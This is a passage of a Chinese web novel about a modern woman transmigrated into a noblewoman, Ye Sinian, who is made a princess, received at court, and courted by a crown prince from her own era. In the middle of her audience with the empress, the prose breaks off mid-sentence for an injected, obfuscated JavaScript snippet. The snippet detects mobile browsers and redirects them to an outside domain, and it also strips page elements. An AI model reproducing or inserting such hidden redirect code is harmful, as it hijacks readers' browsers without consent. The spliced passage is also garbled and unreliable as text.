叶承骁揉着腿,笑道:“听说斯年成了太子妃人选,这宫里的日子可不轻松啊,父亲可得好好考虑清楚!” 叶承勇接过话头,笑着补充道:“与其困在深宫,不如进军营,多有意思。还能跟着我们一起四处驻防,比待在宫里有意思多了。” 叶思楠忍不住抬眼瞥了叶绍一眼,只见他有些不自在地挠了挠头。果然不是一家人,不进一家门,都想到一块去了。她压下心中的无奈与酸涩,心想:若斯年真的如愿进了军营,怕是会比困在这深闺小院里快乐得多。 两人离去后,叶绍便与叶思楠开始讨论起今日的消息。叶思楠依旧按之前的说辞道,太子只是出于好奇前来看一看皇后心目中的太子妃人选,行为举止并无异常。 叶绍微微点头,随即说道,他的暗探跟踪太子离开茶馆后,发现太子还悄悄去了蔡家园林,范家、杨家和韩家的几位娘子今日在那里插花,最后甚至还专程去了苏家娘子那里。苏家娘子今天在郊外画秋菊。 叶思楠听完,心中不由得暗笑:这位太子还真是谨慎周全,做戏做全套,为了防止皇后生疑,甚至不惜扮作一个轻浮公子。 她心里琢磨起这位太子的心思,想到他对自己说的“主动权在你”。若两人能坦诚一谈,或许可以揭开这场穿越背后的秘密。 叶思楠忽然意识太子的想法可能并没有那么复杂。她对那个世界其实早已没有多少留恋,失业在家、饱受家庭与社会的压迫,若真死去也不过是解脱。反而是这个世界,还有些值得留恋的人。而太子,或许始终在寻求回去的方法吧? 7. 宁安郡主 周氏一早便催促青枝将叶思楠唤醒,叮嘱她梳洗打扮,宫里已经传了消息,估摸着晌午圣旨就会到,接旨后还需入宫行礼。周氏带着几名侍女细致地为叶思楠更换隆重的服饰,想来这正是前几日信中提及的专为她裁制的新衣。她心中微微一动,想到斯年欢欢喜喜地准备这些衣裳,却未能穿上。 她深吸一口气,努力让自己看上去喜悦一些——十六岁获封郡主,确是无上的荣耀。今日的叶斯年,应得骄傲得像一只孔雀。 她的一双杏眼中总是流露出一丝柔和,眉形弯弯,尽显书卷气。她鼻梁细致挺拔,为清秀的面容平添了几分英气,使得她气质中带着几分淡漠的疏离感。她的唇线柔和,唇角微微上扬,隐隐透露出一丝自信而含蓄的笑意。尽管外表柔美,眉宇间却透出一抹不容忽视的坚毅之气。十六岁的她,便是这般温柔而坚韧。 此刻的她身着一袭淡紫色绫罗长裙,裙摆轻垂至地,光泽隐隐流转,令整个人显得温婉而高贵。袖口用银丝暗绣云纹,与腰间银线绣花的腰带相呼应。腰间垂挂着一枚样式别致的司南玉佩,玉质温润如凝脂,这是斯年的母亲的遗物,她始终贴身佩戴。 周氏亲手为叶思楠梳起一个略显隆重的半梳髻,发间点缀着华美的步摇,步摇上镶嵌的白玉与珍珠在光线下微微闪耀。几朵小巧的珠花散落在发丝间,与额前的流苏坠饰交相辉映。轻垂的流光耳坠与鬓边的翠玉发簪相得益彰,精致而含蓄。 瑾年精心打扮了一番,在一旁叽叽喳喳地说道:“阿娘天还没亮就开始布置场地、准备礼服了。”叶思楠微微一笑,心里明白瑾年是盼望周氏与她和睦。 周氏并不是十恶不赦的角色。与自己的母亲相比,周氏虽未掌好内务、未做好姨娘,但她的确是个尽心的母亲。瑾年这般可爱、毫无嫉妒之心,也有周氏的功劳。 周氏不过三十六岁,年纪与叶思楠相仿。同样都是不受重视、被来回支配的女子,叶思楠其实能共情她的处境。周家虽出身寒门,但家中也有在朝为官之人。如此寒门庶女,依这个时代的规矩,最好的归宿无非是嫁入商贾人家为正妻,或是像叶府这样有军功的世家为侧室。她的确熬出头了,赶上叶府成了宁安王府。可叶绍多年在外征战,她大概也是日夜心悬。她不愿意女儿重走她的路,由庶女之身嫁为侧室。 但如今一切的起因仿佛都源自周氏,叶思楠心中仍难免有所芥蒂。想到之间同叶绍约定的说辞,她收敛了情绪,温声道:“谢谢姨娘费心,也望姨娘指导一二礼仪,免得我一会儿在宫里出了错。”周氏听罢微微愣了一瞬,随即眼里含泪,露出笑意。 一群人手忙脚乱地在她头上折腾,衣物也是里三层外三层层层包裹,终于打扮完毕。叶思楠端坐着,感到头顶沉甸甸的饰物压得她头晕目眩,心中暗自腹诽:古代女子顶着这么多累赘,难怪走路慢悠悠。铜镜中的自己美则美矣,可这完全就是“服美役”吧!这些层层叠叠的装饰,简直是削弱了女性的行动力,甚至连抬手都得小心翼翼。 她只觉得头晕目眩,肚子也开始不安分地咕咕叫起来,原来一大早便被催促梳洗,竟还没来得及用早膳。正此时,青枝端着一碗温热的小米粥,佐以几叠小菜,笑意盈盈地走了过来。 周氏趁叶思楠匆匆喝粥的片刻,又细细叮嘱了她接旨时的跪拜礼节和话术。周氏拿着手绢,轻轻拭去叶斯年嘴角的一点粥渍,温声道:“不急着吃,吃太快会胀气。待会儿我陪你进宫行礼,路上再细讲,只需记住眼前的礼仪流程就好。” 叶思楠也顾不得忽略周氏的示好,默念着周氏的叮嘱,掌心已渗出一层冷汗。过度紧张让她一阵干呕,赶忙喝了几口凉水压下去,但心里又打鼓,担心喝多了水,万一耽误了正事可不好。她回想起自己过去最隆重的场合不过是毕业典礼时作为优秀毕业生上台,由校长亲自为她拨穗。然而眼前的情形全然不同——在这里,任何细小的失误都可能被视作对皇权的冒犯。 粥还没吃上几口,门外便传来一声高喊,清亮而威严:“圣旨到——!”叶思楠一怔,果真如同电视剧里的情景般隆重。她匆匆放下粥碗,扶正头上的步摇,和周氏等人快步朝大门口走去。 此时,叶绍已率领全府上下在大门前一字排开,肃然等待。叶绍在最前方跪拜,其他人也随之跪拜叩首。叶思楠双手垂在身侧,目光微微下垂,小心翼翼地保持头上饰物不动,也不敢有丝毫松懈,生怕做错任何细节。礼部随行而来的礼官,目光锐利,仿佛在监督每一个动作。 众人齐齐叩首,礼官展开圣旨,朗声宣读:“奉天承运,皇帝诏曰:宁安王府嫡女叶斯年,性情端庄,知书达礼,德行俱佳,品貌双全。今特封为郡主,以示皇家恩宠。望郡主谨守家训,秉持贤德,安荣雅度,惠泽家门。钦此。” 礼官的声音在堂中回荡,庄重威严,每一个字清晰有力地在空气中回荡。叶思楠屏息以待,耳边的声音仿佛也格外响亮。宣读完毕后,礼官捧着圣旨缓步上前,停在叶斯年面前。她深吸一口气,双手恭敬地接过圣旨,微微垂首,以周氏所教的礼仪向礼官致意。 礼官随后站至一旁,叶绍起身,领着众人将圣旨送入府内的厅堂,众人恭恭敬敬地将圣旨置于厅堂供桌上,周氏与叶思楠依礼官的指示,收拾妥当,随后便随行前往宫中拜见皇后和太后。 郡王府的马车跟随礼部的队伍前行,车内空间颇为宽敞,叶思楠暗自觉得比现代滴滴打车宽敞,只是一路颠簸让她倍感不适。周氏目光复杂地望着她,似有些尴尬,不知该不该开口。叶思楠也只是静静地坐着,思绪早已飞向皇宫,想到那个心思难测的皇后,心中不禁一阵寒意,清醒了不少。她轻轻开口:“姨娘不必拘谨,眼下,过了皇后这一关才是要紧事,她对我心中存疑。” 周氏愣了片刻,眼中闪过一丝泪光,显然心中隐隐愧疚于叶斯年,但眼下不是道歉的时候。她定了定神,低声说道:“王爷应该跟你提过,皇后手段非凡。她一生只得一子,便是太子。虽说如今李家在朝廷中已不如往昔,但太子才学出众,圣上对他极为喜爱。尤其是太子十岁那年,因一场大病险些丧命,皇后对他的关爱便更加重了。凡是有威胁到太子地位的事,她绝不手软,必定铲除。” 周氏顿了顿,神情复杂地望向叶斯年:“太子自入主东宫后,极少主动去中宫请安。这些年宫里的人对此颇有议论。”她轻声提醒道,“将军今早特意让我转告你,若见到皇后问起前几日的事,一定要回答是叶斯年病倒了。” 叶思楠稍加思索,便立刻领会了叶绍的用意。若将前几日病倒之事推到瑾年身上,便暗示叶斯年对皇后与周氏的安排心知肚明,但如今依然安然无恙地站在这里;反之,若承认病倒的是自己,则意味着她对此毫不知情。这正是皇后所期望的状态——一个无暇的郡主。如此表态,也恰到好处地传递出叶府对皇后的合作姿态。 接着,她又向周氏打听太后的性情,周氏低声道:“太后常年深居简出,言语不多,估摸着只是客套问话罢了。” 叶思楠微微点头,心中却不由得想起了太子。昨日的见面至今让她心绪难平,他的话语耐人寻味。这个人究竟是敌是友?若他真是与自己同样境遇之人,又是否值得结交? 马车缓缓停在宫门口,按照规矩,众人需下车步行入宫。大沅皇室的中宫坤宁殿位于内廷正殿之后,从宫门口步行进去,也要花上小半个时辰。礼官不忘提醒众人加快步伐,因还需前往太后所居的寿康宫,此行务必在午膳前离开宫门。叶思楠忍不住腹诽:礼部可真是节俭,折腾了一早上,竟连个工作餐都不安排。 一路经过数道宫门、御道,穿过多个庭院,沿途的景致令叶斯年眼花缭乱。这宫中的景色,比她在现代参观过的园林更加精巧别致。每一处角落都透着精心的打磨与细致的照料,仿佛巧夺天工,又宛如浑然天成。然而,叶思楠谨记此行的目的,周氏的叮嘱也在耳边回响——“宫中耳目众多。”因此她一路小心谨慎,连头都不敢随意歪动分毫。 行至曲折回廊,一行人忽见几位侍卫迅速退至廊边站定,领头的礼官立即止步,恭敬地高声道:“参见太子殿下。” 叶思楠忙随众人一同行礼,只听太子淡淡地说道:“免礼。”他的目光随即落在叶思楠身上,稍作停留,淡声问道:“这是何人?” 礼官立刻答道:“殿下,这位是今早刚册封的宁安王府郡主,奉旨进宫,向皇后娘娘和太后娘娘请安。” 叶思楠心中暗叹这位太子的确爱演,但她也顺势配合,往前一步,微微屈膝,双手交叠于腹前,低头说道:“臣女叶斯年,参见太子殿下,殿下金安。”全程目光不曾抬起,谨记他此前的嘱咐,不直视他。 太子微微点头,目光在她身上掠过,仿佛带着几分审视之意,空气一时静谧。片刻后,太子轻声道:“那就随孤一同前往吧。孤也很久没去向母后请安了。” 空气陷入一片死寂,礼官也露出几分为难,似乎在思索眼下的局面该如何处理。叶思楠心中怒火渐涨,暗暗咬牙,一个皇后已够让她头疼的了,现在又冒出个像不定时炸弹的太子,谁知道他那张嘴会冒出什么怪话!她终于忍不住微微抬头,偷偷瞪了他一眼,随即又迅速低下眼睑。还好其他人都垂首行礼,没人留意到她的小动作。 “启程吧,别耽误了宁安郡主的时辰。”太子神情愉悦,带着一行人浩浩荡荡朝坤宁殿而去。远远地,坤宁殿的侍从见到太子驾到,立即进去通报,显然太子很少来,连坤宁殿的人也都略显慌乱。 礼官上前恭敬地通报:“宁安郡主奉旨向皇后娘娘请安。”话音刚落,太子便率先迈步进入殿中。 叶思楠等候了片刻,侍官才终于宣她入殿。周氏则留在殿外,静静等候。 刚踏入正殿,便看到皇后端坐在凤座上,神情慈爱地同太子闲聊,似乎心情甚好。叶斯年听不清他们说的内容,依照礼仪朝皇后行礼,规规矩矩地跪了下来。 她静静地跪着,等了片刻,终于听见皇后悠悠地说了声“免礼”。 叶思楠心里微微叹了口气,身为现代人,她对这种刻意的“下马威”感到气闷。这种人她在职场上遇到不少,甚至校园里也不乏其例——敲门久等不应、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698868|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汇报完装作若无其事,摆架子的姿态如出一辙。这种人就喜欢看别人心急如焚、手足无措,而他们则一脸淡定地轻飘飘一句“来了啊”、“等一下”、“坐吧”,享受那种微妙的心理掌控感。这种行为在任何时代都存在,总有人乐于利用阶级差距来获得这种满足。 叶思楠心想这个人在这样的环境中以太子的身份被众星捧月活了八年,也难怪初见便一副高高在上的姿态。实在是讨厌。 皇后微微一笑,目光和蔼地看向叶思楠,说道:“早听闻宁安王府的郡主温婉端庄,如今得见果然不凡。几年前听闻你身体欠安,可好些了吗?府中总要多照顾才是。” 叶思楠微微低头,缓缓答道:“回禀皇后娘娘,臣女身子已无大碍,承蒙关怀。” 叶思楠用余光打量着这位母仪天下的皇后。不得不承认,富贵的确养人,哪怕是这样一个手段狠辣之人,也显得雍容华贵。她端坐在凤座上,姿态优雅,举手投足间透着威仪。就她头上的那些繁重发饰,怕是连低头都不方便。 皇后轻轻抿了一口茶,语气不疾不徐地接着说道:“如今封你为郡主,乃是皇恩浩荡。你得了如此荣耀,往后要更加谨言慎行,尽心辅佐你父亲,肩负起郡主的责任,方能不负皇家恩典。” 叶思楠心中暗自思忖,谨言慎行,这算是在提点叶家别乱说话吗?话里话外都透着弦外之音,语调变化更是明显强调了几处。这便是所谓的话术吗? 虽然不满,叶思楠还是低眉顺眼地答道:“臣女谨记皇后娘娘教诲,必将恪守本分,谨言慎行,不负皇恩。” 皇后话锋一转,语气略显关切:“听闻你还有个妹妹,前几日说是病倒了,叶太尉还特意进宫请了太医。这会儿可好些了?” 叶思楠暗自一笑,心想果然不出所料,便将心中打磨多遍的回答缓缓道出:“回禀皇后娘娘,那日家中众人前往别院小聚,采摘了不少菌子,臣女不慎误食了其中有毒的菌子,一时不适而晕倒。府中慌乱之下,瑾年也受惊随即晕了过去。幸好臣女醒来后已无大碍。” 叶思楠暗自得意,心想这一番话即完美解释了叶绍为何请太医时称是瑾年病倒,又顺利传递出叶府给自己编造了“吃错菌子”的理由,而自己对皇后的意图毫不知情。 不料,这时太子却轻笑一声,淡淡道:“郡主可不要贪食啊。” 她心中无奈:这人还真是演上瘾了,但表面上只能礼貌回应:“多谢太子殿下关心。” 皇后微微一笑,目光在他们二人之间流转,语气温柔却带着几分威严:“见你安然无恙,本宫也就放心了。过几日便是中秋宴,届时本宫将举办一场诗词会。宫中许久未如此热闹了,本宫十分期待。听闻郡主自幼饱读诗书,才华出众,届时可一定要让本宫见识见识。” 叶思楠微微一怔,心中虽有些紧张,但仍恭敬地回道:“皇后娘娘谬赞,臣女才疏学浅,若能为中秋添趣,实在荣幸。” 叶思楠心中暗自思索:看来皇后确实是希望她在中秋宴上表现出色,好当众赐下赏赐,以此表明自己是她心仪的太子妃人选。 以皇后的心计,断不会没有后手,若圣上打算对李家势力赶尽杀绝,就不会允许叶斯年入宫,届时皇后自会推出其他家的姑娘。昨日叶绍就说太子去看了范、杨、韩、苏几家的姑娘。 “时辰不早,郡主还需前往寿康宫。”她眼中带着不容置疑的温柔,缓缓道:“本宫便不留你了。” 叶思楠听闻,心中微微一凛,随即恭敬地行礼,低声道:“臣女告退。”随即在礼官的引领下,带着心绪小心翼翼地缓步退了出去。 在礼官的引领下,叶思楠一行人前往寿康宫拜见太后。太后果然如传闻般慈祥,言语间带着温柔与关怀。几句简单的寒暄过后,太后便让叶斯年退下,不多加叮嘱也无额外为难。 一圈下来,叶思楠已热得浑身是汗。秋老虎的天气里身上穿着层层叠叠的礼服,还走了这么多路,一上马车她便顾不得礼仪,直接瘫倒下来。周氏见状,赶忙命人送上茶水。她接过茶水就是牛饮,喘着气稍微缓了缓。 周氏皱眉轻轻叮嘱道:“如今你是郡主了,言行需得注意,不可如此失礼。”叶思楠抬手虚摆了摆,示意自己实在累得说不出话,干脆靠在马车一角,放松地闭上眼睛。 马车缓缓驶离宫门口,行进至叶府门口时,正欲下车,便见青枝跑来迎接。青枝很雀跃地说娘子今日真是如何如何貌美。叶思楠从她的表情捕捉到一丝的哀伤,她知道她想叶斯年了。 根据行程安排,今日还需入祠堂祭祖,但眼下已近午膳,叶绍提议午膳过后再行前往。这时,青枝悄悄拉着叶思楠回到房中,神秘地递上了一张信纸,低声说道:“今日娘子进宫之后,我随众人往新府衙搬东西,刚出门便遇见一个小乞儿,塞了这纸条给我。” 叶思楠不耐烦地展开纸条,心中已然猜到这是谁的手笔。纸条随随便便,也不套个信封,就这么写着“pm8”!她两眼一黑,心中暗骂:可真会利用信息差。就算把这东西挂在叶府大门口,怕也没人知道是什么意思。 8. 你的人生 青枝投来好奇的眼神,叶思楠思索片刻,还是决定告诉她太子相邀,毕竟青枝是她的贴身侍女,左右难以瞒住。青枝眨着眼睛,调皮地问:“难道太子殿下真的对娘子一见钟情吗?” 叶思楠无奈地拍了她一下,正色道:“帝王家哪有什么情爱,只有利益。”青枝歪着头,看起来有些不解。 她琢磨着想着此事还得与叶绍交换一下消息。尽管她自己无意入宫做太子妃,但最终还得听取叶绍的意见。若是叶府确实需要叶斯年进宫,她再考虑是否能与太子协商,彼此互利互助。 午膳过后,她便与叶绍简单地交换了一下信息。叶绍说,事已至此,斯年已被封为郡主,即便不是太子选妃,之后也必会有其他世家前来提亲,连带着瑾年也会被推上台面。皇后的手段大家有目共睹,他并不希望叶家与她有过多牵连。 叶绍稍稍停顿了一下,忽然问道:“在你们那个时代,女子又是如何择婿的?” 叶思楠思索片刻,说道:“我们那儿的女性普遍在三十左右才考虑婚配,也有很多选择终身未婚。” 叶绍闻言,微微露出讶色。叶思楠补充道:“而且我们那儿是一夫一妻制。” 叶绍沉默片刻,似乎在消化这些新奇的信息,最后缓缓说道:“那这件事便依你自己的意思吧。若是斯年在世,我也会尊重她的决定。若你想入宫,我作为父亲,自会护你周全。若你不想,叶家几代军功,也足以扛得住一道圣旨。” 叶思楠心中不禁涌上一股暖意,从未有人如此待她。她明白,叶绍对斯年一定也是如此,而叶绍如今待她这般,多少也是出于对已故女儿的愧疚与补偿吧?一想到自己那个沉默寡言的父亲热情迎接王老板父子登门的模样,眼眶便不由得一阵酸涩。 她低声道了一句:“谢谢父亲。”这是她第一次如此称呼叶绍,声音轻得像一缕微风,怕被叶绍听见,也似乎是,怕被叶斯年听见。 一更过后,叶思楠便让青枝找来了斯年从前练武时的衣服。青枝麻利地帮她换上,再将袖口打褶后用袖带系紧,随后简单地束起她的头发。这身打扮比长裙舒适得多,黑衣加身,颇有几分女侠风范。青枝也换了一身便于行动的黑衣,陪伴她一同出门。两人依旧走的偏门——翻墙。她决定,这次见面过后,等有了些许定论再和叶绍商议。 她嘱咐青枝在外面守着,自己则戴着斗笠,径自上了雅间。一进门就见太子也是一副行走江湖的打扮,正悠然自得地泡着茶,似乎并不急于开口。 叶思楠拉开椅子坐下,目光落在眼前这位悠闲泡茶的太子身上。这还是她第一次仔细打量他。前两次见面,第一次是被吓得愣住,第二次则是避而不看。然而眼下不同了,她与这位同样来自另一个世界的“太子”隔着这壶茶而坐,心中莫名复杂。 太子果然不愧为天潢贵胄的血脉,这张脸生得极为俊美。脸部线条分明,棱角有致,高挺的眉骨与鼻梁为他增添几分疏离感,柔软的花瓣唇与微微上挑的桃花眼却显得风流多情,然而眼光流转之间的一丝冷峻,依旧是那个无情的太子。 太子将一杯沏好的茶推到她面前,含笑看着她,并未急着开口。叶思楠从容端起茶杯,毫不客套,直截了当地问道:“找我干嘛?” 太子缓缓抱起双臂,目光深邃,轻轻吐出几个字:“我想娶你。” 叶思楠刚喝了口茶,冷不丁被太子这句话吓得一口茶喷了出来,还呛得直咳嗽。太子原本抱着双臂,装出一副深沉的样子,见状立马起身,轻轻拍着她的背,好不容易才让她缓过气来。叶斯年擦了擦嘴,嫌弃地推开他的手,毫不客气地回道:“你有病啊?” 太子笑了笑,回到座位上,又给她添了杯茶,慢悠悠地说:“在你进门之前,我是真觉得我有病。” 她忍不住翻了个白眼,心想自己明明是因为相亲的事跟家里吵架才气晕过去的,现在这人一见面就谈求娶,是要把她再气晕回去吗? 她抿了一口茶,平复了情绪,冷声道:“不是说了吗?主动权在我手里的。怎么又找上门了?” 太子一脸无辜地耸耸肩,理直气壮道:“不是说了吗?我想娶你啊。” 她几乎要忍不住翻白眼,强压下怒气,瞪了他一眼:“能不能好好说话?!”真恨不得拿什么东西砸过去。 太子似乎心情极好,一改昨日那副高贵冷艳的模样,托着腮,饶有兴致地看着她,问道:“那你能告诉我,你是怎么过来的吗?” 叶思楠犹豫了一下,眼前这人虽然身份特殊,但似乎并无恶意,于是说道:“我也是08年第一次来,不过和你不同,我之前都是偶尔在梦里过来。这次叶斯年被皇后害死,我那边也出了点事,就被困在这里了。” 太子的神情微微变了,眼眶红了一瞬,但很快恢复平静,淡淡地问道:“这是平行世界,我怎么确定你和我是同一个世界的?” 叶思楠想了想,很随意的地说:“这简单啊,2008年有什么大事?” “北京。” “奥运会。” 她看得出太子的情绪波动。她能理解——来此地多年,时常疑惑自己是否疯了,不知哪一边的世界才是真实的。察觉到有人和太子经历了相同的事情——服下断魂散后死而复生,经过几番试探,他确认对方果真来自同一个时代,同一个世界。对他而言,这无疑是一种极大的安慰。 可叶思楠并没有太多兴奋之情。如果真的没有回去的路,她绝不愿被困在宫廷之中。枯寂深宫并非她所向往的生活,也并非叶斯年所渴望的。 她想了想,觉得还是该说点什么来安慰他。于是淡淡一笑:“两个世界的时间流速不一样,那边已经是2024年了。我今年32岁了。”她耸耸肩,故作轻松地说道,“刚刚失业。” 太子微微一笑,似乎找到些熟悉的幽默:“看来2012并不是世界末日。我如果活着,也36岁了。” 叶思楠轻轻一笑:“也许世界末日真的不远了。马斯克的火箭都能回收了,马上就要登陆火星,外星人的痕迹越来愈多,局部战争也在不断爆发。”她叹了口气,心想那边的世界对她而言实在不算好,她看向眼前的太子,轻声调侃道:“你现在不是活得好好的吗?太子殿下。” 太子微微叹了口气,轻声道:“别叫我太子殿下了。我叫苏忆,回忆的忆。” 叶斯年没想到会这么突兀地听到如此重大的秘密。她不敢复述这两个字,怕生出牵连。于是故作严肃地说道:“你就不怕隔墙有耳?” 太子看了她一眼,微微一笑,带着些许失望:“算了。那叫我赵煜好了。” 叶思楠无奈地说道:“直呼太子名讳?这脑袋你不要,我还想要呢。”她顿了顿,顺势补充道:“我和叶斯年本人通过书信交流好几年了,叶家的情况我还是挺清楚的。他们至今也没察觉到换了个人。我不能辜负叶斯年,也不能害了叶家。” 太子微微一笑,轻叹道:“时间有限,故事我们以后慢慢聊。我刚才提到的事,你可以好好考虑一下吗?” 叶思楠几乎不加思索,直接答道:“就皇后那些手段,叶家根本不想和她有牵连。我想叶斯年本人也不想进宫。” 太子摇了摇头,目光直视她,语气坚定:“我是说你,你考虑一下。以后你就是叶斯年,这也是你的人生了。” 窗外树梢沙沙作响,是枯黄的叶子被秋风击碎的声音。风里夹杂着一缕桂花的淡香与隐约的蜜桃气息,恍惚间让她想起那人送的香水。 这样的夜晚,她不是在埋头做题,就是在打工或加班赶路。她的人生,似乎从未在这样温柔的秋风中被好好端详过。 秋风吹得眼眶微微发烫,她低声呢喃:“是吗?” 赵煜避开了她的目光,微微垂首,低声道:“我也是过了几年才接受这就是我的人生。在你走进这道门之前,我甚至觉得自己可能真的疯了,才会写那样的纸条,坐在这里等一个人。”他从怀中取出一块令牌,递给她:“邀请你入宫,是我的私心。如果你不愿,这令牌可以保你平安。若缺银两,拿它去城东的浮生堂找蔡掌柜,管够。” 叶思楠默默地接过令牌,没有出声。赵煜站起身,轻轻扶住她的肩膀。他高大的身影笼罩着她。两人身穿黑衣,在明亮的烛光中显得格外突兀。 若她真的成为太子妃,这份与他共享的秘密或许会让他们更显格格不入,正如此刻两人交织的阴影。可如果没有他,她能在这里独自撑下 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“你尽管笑,但这确实就是我现在的状态,我也不是光说不做。否则,你以为一向重文轻武的大沅,为何会破例将一位战功显赫的将军封为异姓王?” 赵煜微微俯身,直视着她的双眼,眸光熠熠生辉。 “你这个郡主的位置,也是我为你争取来的,你信吗?” 叶思楠从来讨厌有人靠近她,条件反射般往后躲,结果不小心撞到墙上。她捂着脑袋急忙推开眼前这带着些许暧昧神色的美男子,厉声问道:“你到底打的什么主意,说清楚!” 赵煜对她的反应感到出乎意料,但还是顺从地退了一步,笑着说道:“等你给我答复了,我再告诉你。” 这种吊人胃口的话让叶思楠气不打一处来,立刻说道:“我现在就可以告诉你!” 赵煜闻言立刻捂住耳朵,笑着说道:“我不听我不听,说好的你要认真考虑的。中秋宴看你表现。夜色已深,本宫回去睡觉了,晚安。” 说罢,他像条滑溜的泥鳅一样退了出去,又笑嘻嘻地探回头,把门带上,留给她一个意味深长的眼神。 “大沅盛世…….”她念着方才太子的中二言论。 她撑起窗户,望着夜色中的瑶京城。这是她第一次看着夜晚繁华的瑶京,所谓“富贵迷人眼”大抵便是如此吧。 宝马雕车香满路,金丝绣帘随风摇曳,灯影闪烁间瑶川如浮光跃金。烛火映照下的瑶京一片流光溢彩,比她见过的任何现代都市都更加华美,宛若一场瑶池盛宴。 她想起从前下班时,总会路过一座天桥。她喜欢在桥上望着川流不息的车水马龙。万家灯火次第点亮,却没有一盏为她留着。 “我的人生……”她轻声呢喃。回顾自己作为叶思楠的一生,所有的选择和方向都似乎是按着社会期待、他人标准或身边人的意见在自动前行。她从未停下来,认真问过自己想要的究竟是什么。或者说,她的理想早就成了别人捏造的成功模板。 她的人生更像是一种惯性驱动——被一种看似顺理成章的“惯性”推着前进,表面上有条不紊,实则缺乏自主性。 拼了命读书,分数越高越好;高考后按分数选最好的学校里最好的专业;毕业后哪儿钱多去哪儿;攒点积蓄就随便买套房,权当投资……她以为这些都是自己的“规划”,现在看来,不过是随波逐流,顶多是万千韭菜中比较茁壮的一茬。 她奉行着努力、勤劳、自律,时刻警惕着消费主义的陷阱,推崇延迟满足……可到头来,却发现自己还不如那些早早辍学、嫁作小镇贵妇的同学活得自在。 惯性驱动让她的人生在既定框架下运转,一旦失去了外界的推动,她就像失去了支撑,不知前行的方向。就像从前她一边加班加点一边抱怨资本家的剥削,但当那个资本家消失了,她还是急着寻找下一个愿意剥削她的资本家。 说来可笑,当年她选择软件工程专业,仅仅是因为它是分数最高的专业,而她的分数刚好够。而今年,这个专业的分数在她的母校已降到调剂边缘。 时代的洪流就这样冲刷着无数随波逐流却自以为清醒的人。以“叶思楠”为名的那一生在惯性驱动下蹉跎过去了,她确实应该好好想想,以“叶斯年”为名的这一生,要怎么过。 9. 大沅盛世 她从噩梦中惊醒,浑身冷汗淋漓。梦中的她总是被困在叶思楠的身体里,那具身躯如烈火般灼烧,又如冰雪般寒冷,将她紧紧封锁在黑暗中。 青枝轻轻推门进来,带着干爽的衣物。阳光透过窗棂洒入屋内,像草地上飞奔的小狗,瞬间驱散了她所有恐惧。 叶绍一早带着承骁出了趟远门,承勇在忙着迁府的事情,府中仆役也陆续往皇城区的宁安王府搬东西,府内一时静悄悄。瑾年也不知道去哪儿了。 管家送来银票五百两,说是王爷一早吩咐的。叶斯年看着手中的银票,心中微微一怔——郡主每月俸禄不过二十两白银,眼下距离中秋不过十来天,这笔银两倒像是意有所指,让她趁自己不在时早作打算。 她随即苦笑,知自己是以小人之心度君子之腹。以叶绍这样正直的人,若真觉得有负担,也绝不会采取如此方式。 她收起银票同青枝一同前往偏厅用膳。青枝低声说道:“我想去城外的灵隐寺上香。”叶思楠知她想为她的娘子祈福,于是便起身整装,用过早膳便与青枝一同前往灵隐寺。 马车驶出叶府,穿过瑶京城的街道。早秋的阳光洒在青石铺就的路面上,像散了一地的金箔。街边的银杏树叶悄悄泛黄,在风的节奏里摇曳生姿,零星的落叶宛如裙摆。 城外的景色渐渐萧瑟,大片稻田早已被收割,留下满地干枯的茬子。远处的山峦被一层薄薄的秋雾笼罩,模糊的轮廓如同旧日的记忆,隐约可见,却触不可及。 一路无言,青枝不时擦拭眼角,眼神忧伤地望向窗外。马车行至灵隐寺,淡淡的桂花香气混杂着浓厚的香火味扑面而来。她忽然忆起曾买过一瓶香水,香评中写着“寺庙香”、“生人勿近”等等浮夸的字眼。当时她并不理解这种阴暗的词有何吸引力,此刻身在其中才体会到寺庙香火的深邃与沉稳。它仿佛承载着人间无数哀思。 她轻捻着贴身香囊的一角,试图捕捉那位未曾谋面的少女留下的余温。青枝携着她一同走上石阶,虔诚地点燃手中的香,缓缓跪下,低头祈愿。 “愿你在生命中的每一刻,都得偿所愿,而我将以你的名号,开启我的人生。” 寺庙前的石阶铺满落叶,偶尔有几片被行人的衣袍拂起。她站在长长的石阶前,望着肃穆的殿堂,心念却久久无法平复。 两人用过斋饭,便从灵隐寺踏上归程。马车在秋风中行驶,带走了缠绕在身上厚重的寺庙香。 暮云低垂,霞光涂抹在斑驳的院墙上,宛如古迹里发黄的壁画。她站在夕阳里,看着这片静谧的庭院,这将是她此后的人生。 不知从哪里冒出来的瑾年悄悄凑到她身边,眼睛亮亮地说道:“阿姐,仙乐坊里来了新班子,不如今晚我们偷偷去看看!” 青枝在一旁提醒道:“仙乐坊是瑶京城最热闹的瓦子。” 叶斯年听说过古代有瓦子这样的娱乐场所,却没想到在这里也能见到。她不禁琢磨,这所谓的平行世界到底是从哪个时间节点开始分化的。 所谓瓦子,就是一种类似市集的娱乐场所,聚集了杂技、戏曲、说书、相扑等各类表演,还有斗鸡、斗狗等竞技活动,热闹非凡。瓦子内设有勾栏,如同现代的剧场,以木结构为主,四周围栏,因此得名“勾栏”。然而,瓦子里毕竟鱼龙混杂,世家娘子们通常不会轻易涉足。 瑾年此刻一脸小心翼翼又仗势欺人的模样,显然是平日受周氏严加管教,此时仗着周氏不敢再惹叶斯年,才拉上她当挡箭牌。 叶斯年心想,既然要在这里生活,熟悉一下环境也未尝不可。若不入宫,拿着太子的令牌做点生意,也是不错的选择。 天刚擦黑,瑾年和侍女兰芝就过来找叶斯年。她和青枝换上一身黑色劲装,倒像是她俩的护卫。 华灯初上,几人乘着马车缓缓驶向瑶京城中最热闹的瓦子。瑾年一路上兴奋地四处张望,嘴里不停地叫着“阿姐,阿姐”,难掩雀跃。远远望去,仙乐坊门口已是人头攒动,热闹非凡。 仙乐坊位于瑶京城最繁华街道——长乐街,毗邻瑶川,依水而建,占地宽阔,四周高挂成排红色灯笼,在晚风中宛如流动的光带,比都市中扎眼的霓虹更显繁华。 